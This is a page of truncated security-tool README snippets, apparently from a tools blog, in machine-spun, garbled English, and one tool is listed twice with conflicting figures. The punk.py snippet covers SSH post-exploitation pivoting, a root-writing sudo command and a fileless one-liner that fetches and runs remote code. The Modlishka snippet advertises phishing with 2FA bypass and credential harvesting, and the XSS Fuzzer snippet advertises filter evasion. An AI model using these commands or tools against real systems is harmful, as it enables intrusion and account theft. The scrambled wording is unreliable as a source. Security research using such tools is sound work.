sf

Features Multi-threading 3 modes of detection Regex powered heuristic scanning Huge listing of 3370 parameter names Usage Note: Arjun doesn't operate amongst python < 3.4 Discover parameters To let on GET parameters, yous tin but do: python3 arjun.py -u https://api.example.com/endpoint --get Similarly, role --post to let on POST parameters. Multi-threading Arjun uses 2 threads yesteryear default but yous tin melody its functioning according to your network connection. python3 arjun.py -u https://api.example.com/endpoint --get -t 22 Delay betwixt requests You tin delay the asking yesteryear using the -d option equally follows: python3 arjun.py -u https://api.example.com/endpoint --get -d 2 Adding HTTP Headers Using the --headers switch volition opened upwards an interactive prompt where yous tin glue your headers. Press Ctrl + S to relieve together with Ctrl + X to procced. Note: Arjun uses nano equally the default editor for the promp...

Intel, AMD, VIA & Freescale Microcode Extraction Tool MC Extractor News Feed MC Extractor Discussion Topic Intel, AMD & VIA CPU Microcode Repositories A. About MC Extractor MC Extractor is a tool which parses Intel, AMD, VIA as well as Freescale processor microcode binaries. It tin sack live used yesteryear end-users who are looking for all relevant microcode information such equally CPUID, Platform, Version, Date, Release, Size, Checksum etc. It is capable of converting Intel microcode containers (dat, inc, h, txt) to binary images for BIOS integration, detecting new/unknown microcodes, checking microcode health, Updated/Outdated condition as well as more. MC Extractor tin sack live also used equally a query analysis tool amongst multiple structures which allow, amid others, total parsing & information display of all documented or non microcode Headers. Moreover, amongst the aid of its extensive database, MC Extractor is capable of uniquely categorizing all su...

XSS Fuzzer is a elementary application written inwards manifestly HTML/JavaScript/CSS which generates XSS payloads based on user-defined vectors using multiple placeholders which are replaced alongside fuzzing lists. It offers the possibility to only generate the payloads equally plain-text or to execute them within an iframe. Inside iframes, it is possible to ship GET or POST requests from the browser to arbitrary URLs using generated payloads. Why? XSS Fuzzer is a generic tool that tin lav hold out useful for multiple purposes, including: Finding novel XSS vectors, for whatsoever browser Testing XSS payloads on GET as well as POST parameters Bypassing XSS Auditors inwards the browser Bypassing spider web application firewalls Exploiting HTML whitelist features Example In lodge to fuzz, it is required to exercise placeholders, for example: The [TAG] placeholder alongside fuzzing list: img svg. The [EVENT] placeholder alongside fuzzing list: onerror onload. The...

unix SSH post-exploitation 1337 tool how it works punk.py is a post-exploitation tool meant to assistance network pivoting from a compromised unix box. It collect usernames, ssh keys in addition to known hosts from a unix system, in addition to hence it tries to connect via ssh to all the combinations found. punk.py is wrote inwards lodge to function on criterion python2 in addition to python3 installations. examples criterion execution: $ ./punk.py skip passwd checks in addition to role a custom abode path: $ ./punk.py --no-passwd --home /home/ldapusers/ execute commands alongside sudo: $ ./punk.py --run "sudo sh -c 'echo iamROOT>/root/hacked.txt'" one-liner fileless ( alongside --no-passwd parameter ): $ python -c "import urllib2;exec(urllib2.urlopen('https://raw.githubusercontent.com/r3vn/punk.py/master/punk.py').read())" --no-passwd TODO improve mortal keys hunting including dsa keys Recursion SSH keys alongsid...

Modlishka is a flexible too powerful contrary proxy, that volition stimulate got your phishing campaigns to the adjacent marking (with minimal endeavor required from your side). Enjoy :-) Features Some of the near of import 'Modlishka' features : Support for bulk of 2FA authentication schemes (by design). No website templates (just indicate Modlishka to the target domain - inwards near cases, it volition hold upwardly handled automatically). Full command of "cross" root TLS traffic period of time from your victims browsers. Flexible too easily configurable phishing scenarios through configuration options. Pattern based JavaScript payload injection. Striping website from all encryption too safety headers (back to 90's MITM style). User credential harvesting (with context based on URL parameter passed identifiers). Can hold upwardly extended alongside your ideas through plugins. Stateless design. Can hold upwardly scaled upwardly easily for an arb...

CDF is a tool to automatically attempt the correctness in addition to safety of cryptographic software. CDF tin dismiss observe implementation errors, compliance failures, side-channel leaks, in addition to thus on. CDF implements a combination of unit of measurement tests amongst "differential fuzzing", an approach that compares the demeanor of unlike implementations of the same primitives when fed border cases in addition to values maximizing the code coverage. Unlike general-purpose fuzzers in addition to testing software, CDF is: Smart : CDF knows what form of algorithm it's testing in addition to adapts to the tested functions Fast : CDF tests alone what needs to last tested in addition to parallelizes its tests equally much equally possible Polyvalent : CDF isn't specific to whatever linguistic communication or API, but supports arbitrary executable programs or scripts Portable : CDF volition run on whatever Unix or Windows platfor...

Performs OSINT scan on email/domain/ip_address/organization using OSINT-SPY. It tin hold upward used past times Data Miners, Infosec Researchers, Penetration Testers too cyber criminal offence investigator inwards social club to uncovering deep information close their target. OSINT-SPY Documentation (beta) File Name : README Author : @sk_security Version : 0.0.1 Website : osint-spy.com Overview of this tool: Perform scan on IP Address / domain / e-mail address / BTC(bitcoin) address / device Find out latest bitcoin block information List out all the ciphers supported past times especial website too server Check whether a especial website is vulnerable to heartbleed or non ? Dump all the contacts too messages from skype database Analyze malware or malicous file remotely Licenses information OSINT-SPY too its documents are covered alongside GPL-3.0 (General Public License v3.0) Using OSINT-SPY @@@@@@@@@ @@@@@@@@@ | ...

Features Multi-threading 4 modes of detection A typical scan takes thirty seconds Regex powered heuristic scanning Huge listing of 25,980 parameter names Makes precisely 30-35 requests to the target Usage Note: Arjun doesn't run amongst python < 3.4 Discover parameters To give away GET parameters, y'all tin only do: python3 arjun.py -u https://api.example.com/endpoint --get Similarly, purpose --post to give away POST parameters. Multi-threading Arjun uses 2 threads yesteryear default but y'all tin melody its performance according to your network connection. python3 arjun.py -u https://api.example.com/endpoint --get -t 22 Delay betwixt requests You tin delay the asking yesteryear using the -d pick equally follows: python3 arjun.py -u https://api.example.com/endpoint --get -d 2 Including presistent data Let's tell y'all get got an API cardinal that y'all involve to ship amongst every request, to tell Arjun to produce that...

Beagle is an incident response in addition to digital forensics tool which transforms information sources in addition to logs into graphs. Supported information sources include FireEye HX Triages, Windows EVTX files, SysMon logs in addition to Raw Windows retention images. The resulting Graphs tin john endure sent to graph databases such equally Neo4J or DGraph, or they tin john endure kept locally equally Python NetworkX objects. Beagle tin john endure used straight equally a python library, or through a provided spider web interface. The library tin john endure used either equally a sequence of functional calls. >>> from beagle.datasources import SysmonEVTX >>> graph = SysmonEVTX("malicious.evtx").to_graph() >>> graph <networkx.classes.multidigraph.MultiDiGraph at 0x12700ee10> Or past times strictly calling each intermediate pace of the information source to graph process. >>> from beagle.backends import NetworkX...